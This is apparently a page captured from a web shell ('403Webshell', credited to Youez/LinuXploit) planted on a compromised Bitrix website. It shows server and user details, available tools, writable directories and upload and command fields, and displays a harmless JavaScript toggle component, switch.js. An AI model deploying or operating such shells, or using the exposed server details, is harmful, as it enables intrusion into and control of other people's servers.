403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/bitrix/js/location/widget/src/ui-address/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/bitrix/js/location/widget/src/ui-address/switch.js
import {EventEmitter} from "main.core.events";
import {Tag} from "main.core";

export default class Switch extends EventEmitter
{
	static STATE_OFF = 0;
	static STATE_ON = 1;

	static #onToggleEvent = "onToggleEvent";

	#state;
	#titleContainer;
	#titles = ['on', 'off'];

	constructor(props = {})
	{
		super();
		this.setEventNamespace('BX.Location.Widget.Switch');
		this.#state = props.state;
		this.#titles = props.titles;
	}

	set state(state: string)
	{
		this.#state = state;

		if(this.#titleContainer)
		{
			this.#titleContainer.innerHTML = this.#getTitle();
		}
	}

	get state(): string
	{
		return this.#state;
	}

	#getTitle()
	{
		return this.#titles[this.#state];
	}

	render(mode: number)
	{
		this.#titleContainer = Tag.render`			
			<span class="ui-link ui-link-secondary ui-entity-editor-block-title-link">
				${this.#getTitle()}
			</span>`;

		this.#titleContainer.addEventListener(
			'click',
			(event) => {
				this.state = this.#state === Switch.STATE_OFF ? Switch.STATE_ON : Switch.STATE_OFF;
				this.emit(Switch.#onToggleEvent, {state: this.#state});
				event.stopPropagation();
				return false;
			}
		);

		this.#titleContainer.addEventListener(
			'mouseover',
			(event) => {
				event.stopPropagation();
			}
		);

		return this.#titleContainer;
	}

	subscribeOnToggleEventSubscribe(listener: Function): void
	{
		this.subscribe(Switch.#onToggleEvent, listener);
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit